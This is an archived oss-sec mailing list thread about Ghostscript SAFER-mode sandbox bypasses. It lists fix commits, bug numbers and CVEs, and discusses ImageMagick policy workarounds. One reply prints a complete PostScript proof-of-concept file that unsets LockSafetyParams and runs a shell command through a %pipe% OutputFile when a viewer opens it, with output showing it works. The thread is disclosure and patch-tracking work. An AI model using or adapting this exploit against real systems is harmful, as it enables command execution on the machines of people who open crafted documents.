oss-sec mailing list archives
Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default?
From: Tavis Ormandy <taviso () google com>
Date: Wed, 29 Aug 2018 13:14:41 -0700
Thanks Marcus, here are some more necessary commits: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=520bb0ea7519aa3e79db78aaf0589dae02103764 # 699654 D /invalidaccess checks stop working after a failed restore http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5b5536fa88a9e885032bc0df3852c3439399a5c0 # 699670 gssetresolution memory corruption http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea735ba37dc0fd5f5622d031830b9a559dec1cc9 # 699671 handling /undefined results in SEGV http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea735ba37dc0fd5f5622d031830b9a559dec1cc9 # 699676 PDF interpreter can leave dangerous operators available Please note that not all issues are resolved, and I have exploits that still work against HEAD. For example, this will still work if you pull master as of this writing: $ cat testcase.pdf %!PS % This is ghostscript bug #699687 (split out from bug #699654) a0 % just select a papersize to initialize page device % You can't def HWResolution (for example), because currentpagedevice is readonly: % % GS>currentpagedevice wcheck == % false % % But you can just put or astore into it, because the array itself is writable: % GS>currentpagedevice /HWResolution get wcheck == % true % % If you put some junk in there, then grestore stops working. currentpagedevice /HWResolution get 0 (foobar) put % this grestore will fail, `stopped` just handles the error instead of aborting. { grestore } stopped {} if % now LockSafetyParams will be incorrectly unset, you can check like this: % GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop % false % we can change and configure devices now, so make sure we're using one with % a OutputFile property. (ppmraw) selectdevice % run a shell command mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage $ evince testcase.pdf uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 (libspectre) ghostscript reports: ioerror -12 Tavis. On Tue, Aug 28, 2018 at 2:26 AM Marcus Meissner <meissner () suse de> wrote:
Hi, I had 4 CVEs assigned yesterday afternoon already working from CERTs list, see inline comments below. Please adjust if something is incorrect in them. CERT has mailed overnight that they will take care of the CVE assignment, so I am defering the rest to them. Ciao, Marcus On Mon, Aug 27, 2018 at 04:02:46PM -0700, Tavis Ormandy wrote:Here is an update, Artifex made a press release <https://www.darkreading.com/prnewswire2.asp?rkey=20180824UN89145&filter=3930listing some necessary commits, but the list was incomplete. Here is a list of relevant commits I'm aware of so far, some issues are still open with working exploits available. It's my understanding that no new release is planned until late September, and vendors need to either ship a git snapshot when all issues are resolved, or apply patches. Ihavetestcases for each problem, but I think the bugs will be visibleeventuallyso I'm not posting them here.http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=ea735ba37dc0fd5f5622d031830b9a559dec1cc9# 699671 handling /undefined results in SEGV http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0edd3d6c63 # 699659 missing type check in ztype http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=78911a01b6 # 699654 A /invalidaccess checks stop working after a failed restore http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5516c614dc33 # 699654 B /invalidaccess checks stop working after a failed restore http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=79cccf641486 # 699654 C /invalidaccess checks stop working after a failed restore http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=b326a716 #699655- missing type checking in setcolor http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c3476dde #699656- LockDistillerParams boolean missing type checks http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a054156d42CVE-2018-15910# 699658 - Bypassing PermitFileReading by handling undefinedfilenameerrorshttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0b6cd1918e1ec4ffd087400a754a845180a4522b# 699660 - shading_param incomplete type checkinghttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=e01e77a36cbb2e0277bc3a63852244bec41be0f6# 699660 - shading_param incomplete type checkingCVE-2018-15909http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c432131c3f # 699661 - pdf14 garbage collection memory corruptionhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=971472c83a345a16dac9f90f91258bb22dd77f22# 699663 - .setdistillerkeys memory corruption http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=241d911127 # 699664 - corrupt device object after error in jobhttp://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0d3901189f # 699657 - .tempfile SAFER restrictions seem to be brokenCVE-2018-15908http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=8e9ce5016db968b40e4ec255a3005f2786cce45f# 699665 - memory corruption in aesdecode http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=b575e1ec42CVE-2018-15911# 699668 - .definemodifiedfont memory corruption if /typecheck is handled Tavis On Thu, Aug 23, 2018 at 8:05 AM Bob Friesenhahn < bfriesen () simple dallas tx us> wrote:On Thu, 23 Aug 2018, Leonardo Taccari wrote:(Regarding the `file.ps2' and `file.ps3' examples without `PS2:' or `PS3:' prefixes according `convert -debug Policy -log "%e"' it seems that they ends up as: Domain: Coder; rights=Read; pattern="PS" ... ...so should be blocked by the workaround described in VU#332928. But please correct me if I'm wrong.)This is likely due to header magic detection (e.g. "%!PS-Adobe"). It is possible that a different path will be taken if the common Postscript header is not detected. The file extension may then be used as a hint. Also, there are a wide varieties of ImageMagick versions in use, with a wide variety of behaviors. The version of ImageMagick provided by the Ubuntu Linux I am using at this moment dates from 2012! Bob -- Bob Friesenhahn bfriesen () simple dallas tx us,http://www.simplesystems.org/users/bfriesen/GraphicsMagick Maintainer, http://www.GraphicsMagick.org/-- Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real < meissner () suse de>
Current thread:
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default?, (continued)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 22)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Leonardo Taccari (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Mateusz Lenik (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Leonardo Taccari (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Bob Friesenhahn (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Leonardo Taccari (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Bob Friesenhahn (Aug 23)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 27)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Perry E. Metzger (Aug 27)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Marcus Meissner (Aug 28)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 29)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Aug 29)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Marcus Meissner (Sep 03)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Brandon Perry (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 04)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Tavis Ormandy (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Perry E. Metzger (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Stuart Gathman (Sep 05)
- Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default? Perry E. Metzger (Sep 05)